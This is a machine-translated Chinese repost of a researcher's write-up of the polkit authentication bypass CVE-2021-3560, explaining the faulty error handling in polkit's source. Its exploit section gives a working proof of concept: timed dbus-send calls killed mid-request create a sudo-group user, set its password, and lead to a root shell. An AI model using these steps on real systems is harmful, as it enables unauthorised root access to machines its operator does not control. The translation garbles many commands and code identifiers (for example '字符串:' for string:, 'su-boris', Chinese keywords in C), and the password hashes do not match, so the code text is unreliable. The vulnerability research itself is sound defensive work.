使用 polkit 进行权限提升:如何利用七年前的漏洞在 Linux 上获取 root 权限

admin 2024年9月18日11:27:01评论26 views字数 9173阅读30分34秒阅读模式
免责声明
由于传播、利用本公众号红云谈安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号红云谈安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!请在授权的站点测试,遵守网络安全法!仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!

该漏洞使非特权本地用户能够获得系统的 root shell。只需几个标准命令行工具即可轻松利用该漏洞,正如您在这段简短的视频中所见。在这篇博文中,我将解释该漏洞的工作原理,并向您展示源代码中的错误位置。

目录
  • CVE-2021-3560 的历史和易受攻击的发行版

  • 关于 polkit

  • 漏洞利用步骤

  • polkit 架构

  • 漏洞

  • org.freedesktop.policykit.imply 注释

  • 结论

CVE-2021-3560 的历史和易受攻击的发行版

我发现的这个漏洞相当古老。它是七年前在提交bfa5036中引入的,并首次随 polkit 版本 0.113 一起发布。然而,许多最流行的 Linux 发行版直到最近才发布这个易受攻击的版本。

该漏洞在Debian及其衍生版本(例如Ubuntu)上的历史略有不同,因为 Debian 使用的是具有不同版本编号方案的polkit 分支。在 Debian 分支中,该漏洞是在提交f81d021中引入的,并首次随版本 0.105-26 一起发布。Debian 的最新稳定版本Debian 10(“buster”)使用的是版本 0.105-25,这意味着它不易受攻击。但是,一些 Debian 衍生版本(例如 Ubuntu)基于Debian 不稳定版本,因此容易受攻击。

下表列出了一些流行的发行版以及它们是否存在漏洞(请注意,这不是一个完整的列表):

分配 易受伤害的?
RHEL 7
RHEL 8 是的
Fedora 20(或更早版本)
Fedora 21(或更高版本) 是的
Debian 10(“buster”)
Debian 测试(“靶心”) 是的
Ubuntu 18.04
Ubuntu 20.04 是的

关于polkit

当您看到如下对话框时,polkit就是在后台运行的系统服务:

使用 polkit 进行权限提升:如何利用七年前的漏洞在 Linux 上获取 root 权限
提示身份验证的 polkit 对话框的屏幕截图

它本质上扮演着法官的角色。如果你想做一些需要更高权限的事情——例如,创建一个新的用户帐户——那么 polkit 的工作就是决定你是否被允许这样做。对于某些请求,polkit 会立即决定允许或拒绝,而对于其他请求,它会弹出一个对话框,以便管理员可以通过输入密码来授予授权。

对话框可能会让人觉得 polkit 是一个图形系统,但实际上它是一个后台进程。该对话框称为身份验证代理,它实际上只是一种将密码发送到 polkit 的机制。为了说明 polkit 不仅仅适用于图形会话,请尝试在终端中运行以下命令:

pkexec 重启

pkexec是与 类似的命令sudo,它使您能够以 root 身份运行命令。如果您pkexec在图形会话中运行,它将弹出一个对话框,但如果您在文本模式会话(如 SSH)中运行它,则它会启动自己的文本模式身份验证代理:

$ pkexec 重新启动
==== 正在对 org.freedesktop.policykit.exec 进行身份验证 ===
需要身份验证才能以超级用户身份运行“/usr/sbin/reboot”
验证身份:Kevin Backhouse,,, (kev)
密码:

另一个可用于polkit从命令行触发的命令是dbus-send。它是用于发送 D-Bus 消息的通用工具,主要用于测试,但它通常默认安装在使用 D-Bus 的系统上。它可用于模拟图形界面可能发送的 D-Bus 消息。例如,这是创建新用户的命令:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser 字符串:boris 字符串:“Boris Ivanovich Grishenko” int32:1

如果您在图形会话中运行该命令,则会弹出一个身份验证对话框,但如果您在文本模式会话(如SSH )中运行该命令,则会立即失败。这是因为与 不同pkexecdbus-send它不会启动自己的身份验证代理。

漏洞利用步骤

该漏洞极易被利用。只需使用 、 和 等标准工具在终端中输入几个bash命令kill即可dbus-send

我在本节中描述的概念验证 (PoC) 漏洞依赖于两个正在安装的软件包:accountsservicegnome-control-center。在 Ubuntu Desktop 等图形系统上,这两个软件包通常默认安装。但如果您使用的是非图形 RHEL 服务器之类的东西,则可能需要安装它们,如下所示:

sudo yum 安装 accountsservice gnome-control-center
accountsservice`当然,这个漏洞与或没有任何特别的关系。它们只是 polkit 客户端,恰好是方便利用的载体。PoC 依赖于和 而不依赖于 的`gnome-control-center`原因很微妙——我[稍后](https://github.blog/security/vulnerability-research/privilege-escalation-polkit-root-on-linux-with-bug/#annotations)会解释。`gnome-control-center``accountsservice

为了避免反复触发身份验证对话框(这可能很烦人),我建议从 SSH 会话运行以下命令:

ssh 本地主机

该漏洞是通过启动dbus-send命令但在 polkit 仍在处理请求时将其终止来触发的。我喜欢认为理论上可以通过在恰当的时刻按下 Ctrl+C 来触发,但我从未成功过,所以我改用少量 bash 脚本来做到这一点。首先,您需要测量dbus-send正常运行命令所需的时间:

时间 dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser 字符串:boris 字符串:“Boris Ivanovich Grishenko” int32:1

输出将会像这样:

错误 org.freedesktop.Accounts.Error.PermissionDenied:需要身份验证

实际 0分0.016秒
用户 0分0.005秒
系统 0 分 0.000 秒

这花了我 16 毫秒,所以这意味着我需要dbus-send在大约 8 毫秒后终止该命令:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser 字符串:boris 字符串:“Boris Ivanovich Grishenko” int32:1 & sleep 0.008s ; kill $!

您可能需要运行几次,并且可能需要试验延迟的毫秒数。当漏洞利用成功时,您将看到boris已创建一个名为的新用户:

$ ID鲍里斯
uid=1002(鲍里斯) gid=1002(鲍里斯) groups=1002(鲍里斯),27(sudo)

请注意,这boris是该组的成员sudo,因此您已经可以完全提升权限了。接下来,您需要为新帐户设置密码。D-Bus 接口需要一个散列密码,您可以使用以下命令创建该密码openssl

$ openssl passwd -5 iaminvincible!
$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQULATmWuuB

现在您只需再次执行相同的技巧,但这次调用SetPasswordD-Bus 方法:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword 字符串:'$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB' 字符串:GoldenEye & sleep 0.008s ; kill $!

同样,您可能需要试验延迟的长度并运行几次直到成功。另外,请注意,您需要粘贴正确的用户标识符 (UID),在本例中为“1002”,以及命令中的密码哈希openssl

现在你可以以 boris 身份登录并成为 root :

su-boris#密码:iaminvincible!
sudo su # 密码:iaminvincible!
使用 polkit 进行权限提升:如何利用七年前的漏洞在 Linux 上获取 root 权限
img

polkit架构

为了帮助解释此漏洞,下面是命令过程中涉及的五个主要过程的图表dbus-send

使用 polkit 进行权限提升:如何利用七年前的漏洞在 Linux 上获取 root 权限
图表显示了 dbus-send 命令涉及的五个进程:行上方是“d-bus send”和“authentication agent”,行下方是“accounts-daemon”和“polkit”,dbus-daemon 充当中间人

虚线上方的两个进程dbus-send(以及身份验证代理)是非特权用户进程。虚线下方的进程是特权系统进程。中间的是dbus-daemon,它处理所有通信:其他四个进程通过发送 D-Bus 消息相互通信。

dbus-daemon在 polkit 的安全性中扮演着非常重要的角色,因为它使得这四个进程能够安全地通信并检查彼此的凭据。例如,当身份验证代理向 polkit 发送身份验证 cookie 时,它会将其发送到org.freedesktop.PolicyKit1D-Bus 地址。由于该地址只允许由 root 进程注册,因此不存在非特权进程拦截消息的风险。dbus-daemon还为每个连接分配一个“唯一的总线名称:”,通常类似于“:1.96”。它有点像进程标识符 (PID),但不容易受到PID 回收攻击。唯一的总线名称当前是从 64 位范围中选择的,因此不存在因名称被重用而导致漏洞的风险。

事件的顺序如下:

  1. dbus-send要求accounts-daemon创建新用户。
  2. accounts-daemon接收来自 的 D-Bus 消息dbus-send。该消息包含发送者的唯一总线名称。我们假设它是“:1.96”。此名称附加到 的消息中dbus-daemon,无法伪造。
  3. accounts-daemon询问 polkit 连接:1.96 是否有权创建新用户。
  4. polkit 要求dbus-daemon连接的 UID:1.96。
  5. 如果连接 :1.96 的 UID 为“0”,则 polkit 会立即授权该请求。否则,它会向身份验证代理发送允许授权该请求的管理员用户列表。
  6. 身份验证代理打开一个对话框来从用户那里获取密码。
  7. 身份验证代理将密码发送给 polkit。
  8. polkit 向 发送“是”的答复accounts-daemon
  9. accounts-daemon创建新的用户帐户。

漏洞

为什么终止dbus-send命令会导致身份验证绕过?漏洞位于上述事件序列的第四步。如果 polkit 要求dbus-daemon提供连接 :1.96 的 UID,但连接 :1.96 不再存在,会发生什么情况?dbus-daemon正确处理这种情况并返回错误。但事实证明,polkit 无法正确处理该错误。事实上,polkit 以一种特别不幸的方式错误处理了错误:它不是拒绝请求,而是将请求视为来自 UID 为 0 的进程。换句话说,它立即授权该请求,因为它认为该请求来自根进程。

为什么漏洞的发生时间是不确定的?事实证明,polkitdbus-daemon在不同的代码路径上多次请求请求进程的 UID。大多数代码路径都能正确处理错误,但其中有一个不能。如果您提前终止命令dbus-send,它将由正确的代码路径之一处理,请求将被拒绝。要触发易受攻击的代码路径,您必须在恰当的时刻断开连接。而且由于涉及多个进程,因此每次运行的“恰当时刻”的时间都不同。这就是为什么漏洞通常需要几次尝试才能成功。我猜这也是之前没有发现这个漏洞的原因。如果您可以通过立即终止命令来触发漏洞dbus-send,那么我预计它早就被发现了,因为这是一个更明显的测试对象。

dbus-daemon询问请求连接的 UID 的函数名为polkit_system_bus_name_get_creds_sync

静态 gboolean
polkit_system_bus_name_get_creds_sync (
PolkitSystemBusName *系统总线名称,
    guint32 *输出uid,
    guint32 *输出PID,
    GCancellable *可取消,
    GError **错误)

的行为polkit_system_bus_name_get_creds_sync很奇怪,因为当发生错误时,函数会设置错误参数但仍然返回。当我编写错误报告TRUE时,我并不清楚这是一个错误还是故意的设计选择。(事实证明这是一个错误,因为 polkit 开发人员已经通过返回错误来修复该漏洞。)我的不确定性源于这样一个事实:几乎所有的调用者不仅检查布尔结果,而且还在继续之前检查错误值是否仍然存在。漏洞的原因是未在以下堆栈跟踪中检查错误值:FALSE``polkit_system_bus_name_get_creds_sync``NULL

0 在polkitsystembusname.c:388的 polkit_system_bus_name_get_creds_sync
中 1 在polkitsystembusname.c:511的 polkit_system_bus_name_get_user_sync 中
2 在polkitbackendsessionmonitor-systemd.c:303 的polkit_backend_session_monitor_get_user_for_subject 中 3 在polkitbackendinteractiveauthority.c:1121
的 check_authorization_sync中 4 在polkitbackendinteractiveauthority.c:1227 的
check_authorization_sync
中 5 在polkitbackendinteractiveauthority.c:981 的
polkit_backend_authority_check_authorization 中 6 在polkitbackendauthority.c:227 的
server_handle_check_authorization 中polkitbackendauthority.c:790 
7 在polkitbackendauthority.c:1272的 server_handle_method_call 中

该错误位于以下代码片段中check_authorization_sync

/*每个主题都有一个用户;这是由客户端提供的,所以我们依赖
 * 对调用者进行验证,以验证其可接受性。*/
用户主体 = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
                                                                       主题,NULL,
                                                                       错误);
如果 (user_of_subject == NULL)
    出去;

/* 特殊情况:uid 0,root,始终被授权执行任何操作 */
如果 (POLKIT_IS_UNIX_USER (user_of_subject) && polkit_unix_user_get_uid (POLKIT_UNIX_USER (user_of_subject)) == 0)
  {
    结果 = polkit_authorization_result_new (TRUE,FALSE,NULL);
    出去;
  }

请注意,的值error未经检查。

org.freedesktop.policykit.imply 注释

gnome-control-center我之前提到过,除了 之外,我的 PoC 还依赖于安装accountsservice。这是为什么呢?PoC 没有gnome-control-center任何可见的使用方式,而且我在编写 PoC 时甚至没有意识到我依赖于它!事实上,我之所以发现这一点,是因为 Red Hat 安全团队无法在 RHEL 上重现我的 PoC。当我在 RHEL 8.4 VM 上亲自尝试时,我也发现 PoC 不起作用。这很令人费解,因为它在 Fedora 32 和 CentOS Stream 上运行良好。事实证明,关键的区别在于我的 RHEL VM 是一个非图形服务器,没有安装 GNOME。那么这有什么关系呢?答案是policykit.imply注释。

一些 polkit 操作本质上是等价的,因此如果其中一个操作已经获得授权,则默默授权另一个操作是有意义的。GNOME 设置对话框就是一个很好的例子:

使用 polkit 进行权限提升:如何利用七年前的漏洞在 Linux 上获取 root 权限
GNOME 设置对话框的屏幕截图

单击“解锁”按钮并输入密码后,您可以执行添加新用户帐户等操作,而无需再次进行身份验证。 这是由注释处理的,该注释在此配置文件policykit.imply中定义:

/usr/share/polkit-1/actions/org.gnome.controlcenter.user-accounts.policy

该配置文件包含以下含义:

使用 polkit 进行权限提升:如何利用七年前的漏洞在 Linux 上获取 root 权限
img

换句话说,如果您被授权执行controlcenter管理操作,那么您也被授权执行accountsservice管理操作。

当我将GDB连接到 RHEL VM 上的 polkit 时,我发现我没有看到之前列出的易受攻击的堆栈跟踪。请注意,堆栈跟踪的第四步是从check_authorization_sync自身进行的递归调用。这发生在第 1227 行,这是 polkit 检查policykit.imply注释的地方:

PolkitAuthorizationResult *implied_result = NULL;
PolkitImplicitAuthorization implied_implicit_authorization;
GError *implied_error = NULL;
const gchar *imply_action_id;

imply_action_id = polkit_action_description_get_action_id (imply_ad);

/* g_debug ("%s 由 %s 暗示,正在检查", action_id, imply_action_id); */
implied_result = check_authorization_sync (授权机构,调用者,主题,
                                           暗示动作ID,
                                           详细信息、旗帜、
                                           隐式授权,真实,
                                           &隐含错误);
如果(implied_result != NULL)
  {
    如果(polkit_authorization_result_get_is_authorized(implied_result))
      {
        g_debug (" 已授权 ( %s 暗示)", imply_action_id);
        结果 = 隐含结果;
        /* 清理 */
        g_strfreev(标记);
        出去;
      }
    g_object_unref(隐含的结果);
  }
如果(隐含错误!= NULL)
  g_error_free(隐含错误);

身份验证绕过取决于忽略错误值。它在第 1121 行被忽略,但它仍存储在参数中error,因此调用者也需要忽略它。上面的代码块有一个名为的临时变量implied_error,当它不为空时会被忽略implied_result。这是使绕过成为可能的关键步骤。

总而言之,身份验证绕过仅适用于由另一个 polkit 操作暗示的 polkit 操作。这就是为什么我的 PoC 仅在control-center安装了 gnome- 时才有效:它添加了policykit.imply注释,使我能够定位accountsservice。但这并不意味着 RHEL 不会受到此漏洞的影响。该漏洞的另一个攻击媒介是packagekit,它默认安装在 RHEL 上,并具有适合policykit.imply该操作的注释package-installpackagekit用于安装软件包,因此可以利用它来安装gnome-control-center,之后其余的漏洞利用将像以前一样工作。

结论

CVE-2021-3560 使无特权的本地攻击者能够获得 root 权限。该漏洞利用起来非常简单快捷,因此尽快更新 Linux 安装非常重要。任何安装了 polkit 版本 0.113(或更高版本)的系统都容易受到攻击。其中包括 RHEL 8 和 Ubuntu 20.04 等流行发行版。

原文始发于微信公众号(红云谈安全):使用 polkit 进行权限提升:如何利用七年前的漏洞在 Linux 上获取 root 权限

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月18日11:27:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   使用 polkit 进行权限提升:如何利用七年前的漏洞在 Linux 上获取 root 权限https://cn-sec.com/archives/3171913.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息